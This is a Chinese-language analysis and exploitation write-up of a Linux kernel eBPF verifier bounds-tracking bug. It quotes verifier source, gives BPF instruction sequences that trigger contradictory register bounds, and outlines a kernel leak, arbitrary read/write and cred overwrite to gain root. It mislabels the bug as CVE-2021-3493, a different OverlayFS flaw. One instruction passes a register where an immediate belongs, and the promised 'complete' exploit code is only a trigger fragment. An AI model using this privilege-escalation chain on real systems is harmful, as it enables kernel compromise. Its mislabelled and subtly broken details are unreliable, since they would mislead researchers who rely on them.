eBPF Verifier漏洞CVE-2021-3493分析与利用
漏洞概述
CVE-2021-3493是Linux内核eBPF验证器中的一个漏洞,允许攻击者绕过验证器的边界检查,导致内核地址泄露和权限提升。该漏洞存在于eBPF验证器对32位和64位寄存器边界值的处理不一致中。
漏洞背景
eBPF验证器负责跟踪每个寄存器的边界值(防止越界读写),会对寄存器的每一次运算模拟求解边界值(最大/最小值)。由于寄存器是64位,但实际参与运算可能是32位,因此需要对32/64位都进行边界校验。
漏洞分析
边界校验机制
验证器使用adjust_scalar_min_max_vals和adjust_reg_min_max_vals函数完成边界校验:
static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
struct bpf_reg_state *dst_reg,
struct bpf_reg_state src_reg)
{
struct bpf_reg_state *regs = cur_regs(env);
u8 opcode = BPF_OP(insn->code);
...
switch (opcode) {
case BPF_ADD:
scalar32_min_max_add(dst_reg, &src_reg);
scalar_min_max_add(dst_reg, &src_reg);
break;
case BPF_SUB:
scalar32_min_max_sub(dst_reg, &src_reg);
scalar_min_max_sub(dst_reg, &src_reg);
break;
case BPF_MUL:
scalar32_min_max_mul(dst_reg, &src_reg);
scalar_min_max_mul(dst_reg, &src_reg);
break;
case BPF_AND:
scalar32_min_max_and(dst_reg, &src_reg);
scalar_min_max_and(dst_reg, &src_reg);
break;
...
}
}
漏洞根源
漏洞出现在32位的BPF_AND/BPF_OR/BPF_XOR运算上:
static void scalar32_min_max_and(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
bool src_known = tnum_subreg_is_const(src_reg->var_off);
bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
if (src_known && dst_known)
return; // 漏洞点:32位已知时不更新边界值
...
}
与64位处理不同:
static void scalar_min_max_and(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
bool src_known = tnum_is_const(src_reg->var_off);
bool dst_known = tnum_is_const(dst_reg->var_off);
if (src_known && dst_known) {
__mark_reg_known(dst_reg, dst_reg->var_off.value & src_reg->var_off.value);
return;
}
...
}
关键区别:
scalar32_min_max_and使用tnum_subreg_is_const校验低32位是否已知scalar_min_max_and使用tnum_is_const校验整个64位是否已知
当寄存器低32位已知而高32位未知时,32位边界值不会被更新,导致验证器与实际运行时状态不一致。
边界值更新流程
在adjust_scalar_min_max_vals函数返回前,会调用以下函数更新寄存器边界值:
__update_reg_bounds(dst_reg);
__reg_deduce_bounds(dst_reg);
__reg_bound_offset(dst_reg);
其中__update_reg32_bounds根据reg.var_off计算边界值:
static void __update_reg32_bounds(struct bpf_reg_state *reg)
{
struct tnum var32_off = tnum_subreg(reg->var_off);
reg->s32_min_value = max_t(s32, reg->s32_min_value,
var32_off.value | (var32_off.mask & S32_MIN));
reg->s32_max_value = min_t(s32, reg->s32_max_value,
var32_off.value | (var32_off.mask & S32_MAX));
reg->u32_min_value = max_t(u32, reg->u32_min_value, (u32)var32_off.value);
reg->u32_max_value = min(reg->u32_max_value,
(u32)(var32_off.value | var32_off.mask));
}
漏洞触发示例
构造两个寄存器:
- R2.var_off = {mask = 0xffffffff00000000, value = 0x01} (低32位已知,高32位未知)
- R3.var_off = {mask = 0x0, value = 0x100000002} (整个64位已知)
执行BPF_AND(R2, R3)运算后:
- R2.var_off = {mask = 0x100000000, value = 0x0}
- 但R2.u32_min_value=1, R2.u32_max_value=0 (矛盾值)
漏洞利用
利用步骤概述
- 构造触发漏洞的寄存器状态
- 利用路径混淆绕过验证器检查
- 泄漏内核地址信息
- 构建任意地址读写原语
- 修改进程cred提权
构造寄存器状态
构造R8寄存器(完全已知):
BPF_LD_IMM64(BPF_REG_8, 0x1); // r8 = 0x1
BPF_ALU64_IMM(BPF_LSH, BPF_REG_8, 32); // r8 << 32 == 0x100000000
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 2); // r8 += 2 == 0x100000002
构造R6寄存器(低32位已知,高32位未知):
BPF_MAP_GET(0, BPF_REG_5); // 从map加载完全未知的值
BPF_MOV64_REG(BPF_REG_6, BPF_REG_5); // r6 = r5
BPF_MOV64_IMM(BPF_REG_2, 0xffffffff);
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32); // r2 = 0xffffffff00000000
BPF_ALU64_IMM(BPF_AND, BPF_REG_6, BPF_REG_2); // r6 &= r2
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0x1); // r6.var_off = {mask=0xffffffff00000000, value=0x01}
触发漏洞:
BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_8); // r6 &= r8
路径混淆
验证器使用is_branch32_taken判断条件分支:
static int is_branch32_taken(struct bpf_reg_state *reg, u32 val, u8 opcode)
{
switch (opcode) {
case BPF_JGE:
if (reg->u32_min_value >= val) return 1;
else if (reg->u32_max_value < val) return 0;
break;
case BPF_JLE:
if (reg->u32_max_value <= val) return 1;
else if (reg->u32_min_value > val) return 0;
break;
}
return -1;
}
利用矛盾边界值(umin_value > umax_value)使验证器误判分支路径。
信息泄漏
利用adjust_ptr_min_max_vals中的特殊处理泄漏内核地址:
if ((known && (smin_val != smax_val || umin_val != umax_val)) ||
smin_val > smax_val || umin_val > umax_val) {
__mark_reg_unknown(env, dst_reg);
return 0;
}
当scalar寄存器边界矛盾时,指针寄存器会被标记为unknown,从而可以存储在map中。
任意地址读写
-
任意地址读:利用
bpf_map->btf指针和bpf_obj_get_info_by_fd- 修改
bpf_array->bpf_map->btf为target_addr - 0x58 - 调用
bpf_obj_get_info_by_fd读取btf->id(即target_addr处的值)
- 修改
-
任意地址写:替换
map->ops->map_push_elem为array_map_get_next_key- 构造假的ops表,替换
map_push_elem指针 - 设置
map->max_entries = 0xffffffff - 设置
map->map_type = BPF_MAP_TYPE_STACK - 通过
bpf_map_update_elem触发写操作
- 构造假的ops表,替换
提权
- 泄漏
init_pid_ns地址(内核基址+固定偏移) - 遍历进程链表找到当前进程的
task_struct - 获取
task_struct->cred地址 - 使用任意地址写修改cred为root(uid=0)
完整利用代码示例
// 构造触发漏洞的eBPF程序
struct bpf_insn prog[] = {
// 初始化R8 (完全已知)
BPF_LD_IMM64(BPF_REG_8, 0x1),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_8, 32),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 2),
// 初始化R6 (低32位已知)
BPF_MAP_GET(0, BPF_REG_5),
BPF_MOV64_REG(BPF_REG_6, BPF_REG_5),
BPF_MOV64_IMM(BPF_REG_2, 0xffffffff),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),
BPF_ALU64_IMM(BPF_AND, BPF_REG_6, BPF_REG_2),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0x1),
// 触发漏洞
BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_8),
// 后续利用代码...
};
// 触发执行
int write_msg() {
write(sockets[0], buffer, sizeof(buffer));
}
防御措施
- 内核更新:修复边界校验不一致问题
- 启用KASLR:增加地址泄漏难度
- 限制eBPF权限:非特权用户禁用敏感操作
- 启用CONFIG_BPF_JIT_ALWAYS_ON:避免解释器路径
总结
CVE-2021-3493展示了eBPF验证器在边界值跟踪上的逻辑缺陷,通过精心构造的寄存器状态可以绕过验证器的安全检查,最终实现内核任意地址读写和权限提升。该漏洞强调了eBPF安全机制中边界条件处理的重要性。